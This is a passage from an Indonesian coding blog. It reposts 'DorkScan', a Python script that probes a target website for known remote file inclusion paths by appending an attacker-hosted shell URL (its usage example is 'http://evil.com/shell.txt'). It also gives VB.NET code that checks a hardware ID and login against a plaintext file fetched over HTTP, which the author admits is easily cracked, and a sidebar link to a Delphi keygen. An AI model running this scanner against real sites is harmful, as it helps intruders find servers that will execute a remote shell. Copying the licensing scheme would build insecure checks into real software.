ementhe.com

Source Code <div id="scid:9D7513F9-C04C-4721-824A-2B34F0212519:2fe43f2e-2d1a-428f-8669-0b3c6f55047a" class="wlWriterEditableSmartContent" style="float: none; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px"><pre style=" width: 538px; height: 310px;background-color:White;overflow: auto;"><div><!--

Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/

-->#!/usr/bin/python
#DorkScan v1.0 takes a list of known RFI vuln. paths and
#checks the http response. I called it dorkscan because
#the list I use comes from a list of dorks.

import sys, httplib, time, re

def getserv(path):

try:
h = httplib.HTTP(host)
h.putrequest("HEAD", path)
h.putheader("Host", host)
h.endheaders()
status, reason, headers = h.getreply()
except:
print "\n[-] Error: Name or service not known. Check your host.\n"
sys.exit(1)
return status, reason, headers.get("Server")

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def title():
print "\n\t d3hydr8[at]gmail[dot]com DorkScan v1.0"
print "\t----------------------------------------------"

if len(sys.argv) != 4:
title()
print "\n\t[+] Usage: ./dorkscan.py \n"
print "\t[+] Option: -verbose"
print "\t[+] Ex. ./dorkscan.py example.com dorks.txt http://evil.com/shell.txt -verbose\n"
sys.exit(1)

title()
host = sys.argv[1]
lst = sys.argv[2]
shell = sys.argv[3]

for arg in sys.argv[1:]:
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
else:
verbose = 0

if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]

print "[+] Getting responses"
okresp,reason,server = getserv("/")
badresp = getserv("/d3hydr8.html")[:1]

if okresp == badresp[0]:
print "\n[-] Responses matched, try another host.\n"
sys.exit(1)
else:
print "\n[+] Target host:",host
print "[+] Target shell:",shell
print "[+] Target server:",server
print "[+] Target OK response:",okresp
print "[+] Target BAD response:",badresp[0], reason
print "[+] Scan Started at",timer()
if verbose ==1:
print "\n[+] Verbose Mode On"

try:
lines = open(lst, "r").readlines()
print "\n[+]",len(lines),"dorks loaded\n"
except(IOError):
print "[-] Error: Check your dorks list path\n"
sys.exit(1)

vulns = []
print "[+] Scanning...\n"
for line in lines:
if line[0] != "/":
line = "/"+line
status, reason = getserv(re.sub("\s","",line[:-1]+shell))[:2]
if verbose ==1:
print "[+]",status,reason,":",line[:-1],"\n"
if status == okresp:
vulns.append(line)
print "\t[!]",status,reason,":",line[:-1],"\n"
if status == int(401):
print "\t--",status,reason,":Needs Authentication [",line[:-1],"]\n"

if len(vulns) == 0:
print "[-] Couldn't find any vuln. paths\n"
else:
print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
for vuln in vulns:
print "\t[+] ",vuln
print "\n[+] Scan completed at", timer(),"\n"
</div></pre></div> 
Creadit….d3hydr8

Source Code Python DorkScan

0 Coding 22.20

Source Code #!/usr/bin/python #DorkScan v1.0 takes a list of known RFI vuln. paths and #checks the http response. I called it dorkscan because #t… Baca selengkapnya »

Baca selengkapnya »

<div dir="ltr" style="text-align: center;" trbidi="on">Source Registrasi Sofware Online VB.NET Dengan HWID 
 
cara sederhana mendaptkan HW ID, dan menjadikan nyah sebagey tolak ukur 
untuk meregstrasi Sofware, Dan Sedikit Modipikasi Dengan Menambahkan Usser Dan Pass, 
 
mungkin buat para pengguna applikasi mig33 yang doyan nge "grepek Aplikasi mig33" sudah kenal 
dengan metode ini, karna banyak programers app mig33 menggunakan cara ini, 
dan bukan hal sulit untuk meng crack nyah, tentunyah tanpa proteksi tambahan, 
 
<div class="separator" style="clear: both; text-align: center;"><a href="http://s6.postimg.org/lwc637olt/Capture.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://s6.postimg.org/lwc637olt/Capture.jpg" /></a></div> 
berikut Review nyah,, 
 
<embed src="http://ementhe.wen.ru/swf/RegAppNetOn.swf?7351" quality="high" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi? P1_Prod_Version=ShockwaveFlash"></embed> 
 
<a href="http://ementhe.wen.ru/swf/RegAppNetOn.swf?7351" target="_blank">Full REVIEW Click Hare</a> 
 
<div !mulai spoiler><div style="text-align:center;"><input style="width:100px; background-color:#e6e6e6; color:#000; border:1px solid #ccc; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px;" value="Show" onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hidden'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }" type="button"></div><div style="padding:5px; text-align:justify;"><div style="display: none;">Imports System.IO 
Imports System.Net 
Imports System.Management 
Public Class Form1 
Dim PCID As String = "" 
'pungsi untuk mendaptkan hadware ID 
Private Function GetPCID() 
Dim wc As New ManagementClass("win32_processor") 
Dim ac As ManagementObjectCollection = wc.GetInstances() 
For Each maho As ManagementObject In ac 
If PCID = "" Then 
PCID = maho.Properties("processorID").Value.ToString 
Exit For 
End If 
Next 
Return PCID 
End Function 
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load 
'tampilkan HWID saat aplikasi pertama kali di jalankan 
TxtId.Text = "YOURID" & GetPCID() 
End Sub 
'buat pungsi pengecekan 
Private Function checklogin(ByVal SetUser As String, ByVal SetPass As String) As Boolean 
Dim login As String() 
Dim wr As HttpWebRequest = HttpWebRequest.Create("http://SITEAMANG/REGBOS.txt") 
Dim respon As HttpWebResponse = wr.GetResponse() 
Dim sr As StreamReader = New StreamReader(respon.GetResponseStream()) 
While Not sr.EndOfStream 
'seplit 
login = sr.ReadLine.Split("|") 
'periksa HWID 
If login(0) = PCID Then 
'perikasa usser 
If SetUser = login(1) Then 
'periksa pass 
If SetPass = login(2) Then 
Return True 
End If 
End If 
End If 
End While 
'jika tidak berhasil kembalikan ke false 
Return False 
End Function 
 
Private Sub BtnLogin_Click(sender As Object, e As EventArgs) Handles BtnLogin.Click 
Select Case checklogin(TxtUsser.Text, TxtPass.Text) 
Case True 
Form2.Show() 
Me.Hide() 
' LStatus.Text = "Login SuccsessFull" 
Case False 
LStatus.Text = "Login Failed" 
End Select 
End Sub 
End Class 
 
</div></div></div !akhir spoiler>NOTE: 
untuk bahan pembelajaran, sangat tidak di anjurkan untuk di terapkan ke sofware anda tanpa proteksi tambahan, karna sangat mudah di "crack" 
 
Orijinal Source... 
Fla* 
</div>

Source Registrasi Sofware Online VB.NET Dengan HWID

0 Coding 21.20

Source Registrasi Sofware Online VB.NET Dengan HWID cara sederhana mendaptkan HW ID, dan menjadikan nyah sebagey tolak ukur untuk meregstrasi Sofware, Dan Sedikit Modipikasi Dengan Menambahkan Usser Dan Pass, mungkin buat para pengguna applikasi mig3… Baca selengkapnya »

Baca selengkapnya »

ementhe.com

embarcadero delphi xe7 Full Pacth Keygen And Serial Key

Source Code Python DorkScan

Source Registrasi Sofware Online VB.NET Dengan HWID

Entri Populer

Arsip Blog